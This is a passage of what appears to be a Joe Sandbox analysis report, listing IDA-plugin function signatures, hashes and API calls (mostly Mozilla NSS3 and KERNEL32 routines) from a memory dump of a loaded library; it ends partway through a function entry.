Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: 97764cc93c7a1312757a862dc63c588c9d9f2dac028ce073301ca713cff65c56
Instruction ID: 78a7e86c42aa31ead5582455ef1e81ef3a2443c7b99cf28a556a27bde6e3d1b5
Opcode Fuzzy Hash: 97764cc93c7a1312757a862dc63c588c9d9f2dac028ce073301ca713cff65c56
Instruction Fuzzy Hash: 85B1DE74D006459FEB11DF69D888BAAB7B4FF09308F148529E805B7B11EB31F941CBA2

Function 6CC8AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC39890: TlsGetValue.KERNEL32(?,?,?,6CC397EB), ref: 6CC3989E

EnterCriticalSection.KERNEL32(?), ref: 6CC8AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CC8AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CC8AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CC8AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CC8B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC8B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC8B070
PR_JoinThread.NSS3(?), ref: 6CC8B07B
free.MOZGLUE(?), ref: 6CC8B084
EnterCriticalSection.KERNEL32(?), ref: 6CC8B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CC8B0C4
PR_JoinThread.NSS3(?), ref: 6CC8B0F3
free.MOZGLUE(?), ref: 6CC8B0FC
PR_JoinThread.NSS3(?), ref: 6CC8B137
free.MOZGLUE(?), ref: 6CC8B140

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 919c690de3b26ebb2afd749635e4cb9e21f02ec174157de6170b7dda5d334b64
Instruction ID: 1eb041401d7dbe57a485b798c8ac88622e610ff81b24b1dda08257bab4732bad
Opcode Fuzzy Hash: 919c690de3b26ebb2afd749635e4cb9e21f02ec174157de6170b7dda5d334b64
Instruction Fuzzy Hash: FF915CB5901611DFCB00DF15D89084ABBF1FF8931C72985A9D8199BB22E732FD46CB91

Function 6CB92980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB79E71,?,?,6CB8F03D), ref: 6CB929A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB79E71,?), ref: 6CB929B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CB79E71,?,?,6CB8F03D), ref: 6CB929E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB79E71,?), ref: 6CB929F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB79E71,?), ref: 6CB92A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB79E71), ref: 6CB92A13

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

PR_Unlock.NSS3(?), ref: 6CB92A6A
TlsGetValue.KERNEL32 ref: 6CB92A98
EnterCriticalSection.KERNEL32(?), ref: 6CB92AAC
PL_HashTableLookup.NSS3(?,?), ref: 6CB92ABC
PR_Unlock.NSS3(?), ref: 6CB92AC9
TlsGetValue.KERNEL32 ref: 6CB92B3D
EnterCriticalSection.KERNEL32(?), ref: 6CB92B51
PL_HashTableLookup.NSS3(?,6CB79E71), ref: 6CB92B61
PR_Unlock.NSS3(?), ref: 6CB92B6E

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: e8657960f569ce96e2e160d42265ea6d00226efb35afc8700886f333080f8295
Instruction ID: 2955ff851c4fc7a7fd0102e99d4cbc2b49e07e99e66c729a0d0087070903788b
Opcode Fuzzy Hash: e8657960f569ce96e2e160d42265ea6d00226efb35afc8700886f333080f8295
Instruction Fuzzy Hash: 9271F676D00244ABDF009F64DC449AABBB8EF17358B198574EC189BB12FB31E954C7E2

Function 6CB88DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CB88E22
EnterCriticalSection.KERNEL32(?), ref: 6CB88E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CB88E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CB88E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB88E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB88EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CB88EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB88EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CB88F00
free.MOZGLUE(?), ref: 6CB88F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CB88F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CB88F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CB88F5B
PR_Unlock.NSS3(?), ref: 6CB88F72
PR_Unlock.NSS3(?), ref: 6CB88F82

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 1852b874ebad439d5369194693498270b3e9edd0e17419cc20fad5a7867d3989
Instruction ID: 88cf4fb355cf5bbce33814502d7c53317633a4db6ec1d93891b956d00e7c4b4e
Opcode Fuzzy Hash: 1852b874ebad439d5369194693498270b3e9edd0e17419cc20fad5a7867d3989
Instruction Fuzzy Hash: 505104B2E022159FEB009F68CC8496FBBB9EF45358B15452AEC089B700F732ED4587E1

Function 6CBACE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CBACE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CBACEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CBACED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CBACEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CBACF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CBACF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CBACF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CBACF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CBACF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CBACFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CBACFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CBACFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CBACFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CBAD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CBAD021

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: c62b221c2a3e3d2f584dde1e5c6c9c9c7602f5ad85a297aef7763cce3fb2c3fe
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: B1315271B5699127EF1D10AB6C31BDE244ACB6630EF441038FD4AF67C0FA859A1702EB

Function 6CC80FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CC81000

Part of subcall function 6CC39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB61A48), ref: 6CC39BB3
Part of subcall function 6CC39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB61A48), ref: 6CC39BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC81016

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_Unlock.NSS3(?), ref: 6CC81021

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC81046
PR_Unlock.NSS3(?), ref: 6CC8106B
PR_Lock.NSS3 ref: 6CC81079
PR_Unlock.NSS3 ref: 6CC81096
free.MOZGLUE(?), ref: 6CC810A7
free.MOZGLUE(?), ref: 6CC810B4
PR_DestroyCondVar.NSS3(?), ref: 6CC810BF
PR_DestroyCondVar.NSS3(?), ref: 6CC810CA
PR_DestroyCondVar.NSS3(?), ref: 6CC810D5
PR_DestroyCondVar.NSS3(?), ref: 6CC810E0
PR_DestroyLock.NSS3(?), ref: 6CC810EB
free.MOZGLUE(?), ref: 6CC81105

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: a209a2296bf2338828f4d4c7c5554828b3fdb7cc1fd928f528b9a379615a1b97
Instruction ID: f63f167cbc13f90f895c58b000d59886a6c7a920d5aa5dfc6b142419d1b058de
Opcode Fuzzy Hash: a209a2296bf2338828f4d4c7c5554828b3fdb7cc1fd928f528b9a379615a1b97
Instruction Fuzzy Hash: 93316AB5905451ABD702AF1AEC41A4ABBB1FF0135DB184134E80912F61F732F979EBD2

Function 6CBBEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CBBEE0B

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBEEE1

Part of subcall function 6CBB1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CBB1D7E
Part of subcall function 6CBB1D50: EnterCriticalSection.KERNEL32(?), ref: 6CBB1D8E
Part of subcall function 6CBB1D50: PR_Unlock.NSS3(?), ref: 6CBB1DD3

TlsGetValue.KERNEL32 ref: 6CBBEE51
EnterCriticalSection.KERNEL32(?), ref: 6CBBEE65
PR_Unlock.NSS3(?), ref: 6CBBEEA2
free.MOZGLUE(?), ref: 6CBBEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CBBEED0
PR_Unlock.NSS3(?), ref: 6CBBEF48
free.MOZGLUE(?), ref: 6CBBEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CBBEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CBBEFA4
free.MOZGLUE(?), ref: 6CBBEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBBF055
free.MOZGLUE(?), ref: 6CBBF060

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: cd8612929c7820e371e7880dc685966277fc9cb38aec6bceda5eaa679c78748c
Instruction ID: b1156d2762a08cb4a3952bb8ab814c46943ea8270e2afd9f3cabee66d82a927d
Opcode Fuzzy Hash: cd8612929c7820e371e7880dc685966277fc9cb38aec6bceda5eaa679c78748c
Instruction Fuzzy Hash: C9815F75A00245ABEF009F65DC85AEE7BB5FF09318F144064F909B7A11EB31E964CBA2

Function 6CB84CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CB84D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CB84D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CB84DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB84E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CB84E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CB84E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CB84E85
DER_Encode_Util.NSS3(?,?,6CCD05A4,00000000), ref: 6CB84EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CB84F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CB84F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB84F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB84F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB84F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB84FC8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: e8359fed562a482900dcf2d2f93dc5c6fff19d1388d5b11bcf6d76ec9b658683
Instruction ID: 64c62d91f3fbd58c6d30da30d44e9dca754a7d45bd9d357bcda3ffedd66f68bd
Opcode Fuzzy Hash: e8359fed562a482900dcf2d2f93dc5c6fff19d1388d5b11bcf6d76ec9b658683
Instruction Fuzzy Hash: 06818E71909341AFEB01CF28D850B5BB7E8EB84358F15892DF95CDB640E731E905CB92

Function 6CB80470 Relevance: 21.2, APIs: 14, Instructions: 206timeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB804B7

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB80539

Part of subcall function 6CBD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD1228
Part of subcall function 6CBD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBD1238
Part of subcall function 6CBD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD124B
Part of subcall function 6CBD1200: PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD125D
Part of subcall function 6CBD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBD126F
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBD1280
Part of subcall function 6CBD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBD128E
Part of subcall function 6CBD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBD129A
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBD12A1

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB8054A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8056D
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB805CA
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CB805EA
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6CB805FD
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6CB80621
PR_EnterMonitor.NSS3 ref: 6CB8063E
PR_ExitMonitor.NSS3 ref: 6CB80668
CERT_DestroyCertificate.NSS3(?), ref: 6CB80697
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB806AC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB806CC
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB806DA

Part of subcall function 6CB7E6B0: PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6CB804DC,?,?), ref: 6CB7E6C9
Part of subcall function 6CB7E6B0: PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6CB804DC,?,?), ref: 6CB7E6D9
Part of subcall function 6CB7E6B0: memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6CB804DC,?,?), ref: 6CB7E6F4
Part of subcall function 6CB7E6B0: SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB804DC,?), ref: 6CB7E703
Part of subcall function 6CB7E6B0: CERT_FindCertIssuer.NSS3(?,?,6CB804DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB7E71E

Part of subcall function 6CB7F660: PR_EnterMonitor.NSS3(6CB8050F,?,00000001,?,?,?), ref: 6CB7F6A8
Part of subcall function 6CB7F660: PR_Now.NSS3(?,?,?,00000001,?,?,?), ref: 6CB7F6C1
Part of subcall function 6CB7F660: PR_ExitMonitor.NSS3(?,?,?,00000001,?,?,?), ref: 6CB7F7C8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$ArenaArena_ErrorFree$Monitor$EnterPool$CriticalExitSectionfree$AlgorithmAlloc_CallCertCertificateClearDeleteDestroyFindGeneralizedInitIssuerLockMark_OnceTimeTime_UnlockValuecallocmemset
String ID:
API String ID: 2470852775-0
Opcode ID: f829b5aafdd7470f1a79ee103ffdae9d16de82ca3ed53c8d49f4e76334627359
Instruction ID: 9eecce253d0ec19b6bd1d31f1fe3df4b1399b2d463a9d0c86922d8a980aa2e7d
Opcode Fuzzy Hash: f829b5aafdd7470f1a79ee103ffdae9d16de82ca3ed53c8d49f4e76334627359
Instruction Fuzzy Hash: EF61B471A063C19BEB10DE58EC41B9B77E4EF84398F144528F95597791E730E908CBA3

Function 6CBB8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBB9582), ref: 6CBB8F5B

Part of subcall function 6CBCBE30: SECOID_FindOID_Util.NSS3(6CB8311B,00000000,?,6CB8311B,?), ref: 6CBCBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CBB8F6A

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBB8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CBB8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CC9D820,6CBB9576), ref: 6CBB8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CBB901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CBB903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBB9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CBB90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CBB90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CBB90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CBB912D
free.MOZGLUE(00000000), ref: 6CBB9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CBB9145

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 35b47af54aad06de3f4fe69dd0f0b2c9a1b513ab04309b76698ff2318fdcef3e
Instruction ID: 398fad05c0d2357b566e42c867ec343f9edc64c63bb926ebf3c1a6762ca4745d
Opcode Fuzzy Hash: 35b47af54aad06de3f4fe69dd0f0b2c9a1b513ab04309b76698ff2318fdcef3e
Instruction Fuzzy Hash: 8751D4B1A042819BEB00CF28DC41BAB77F9EF94358F054929E859A7741EB31E945CBD3

Function 6CC84960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

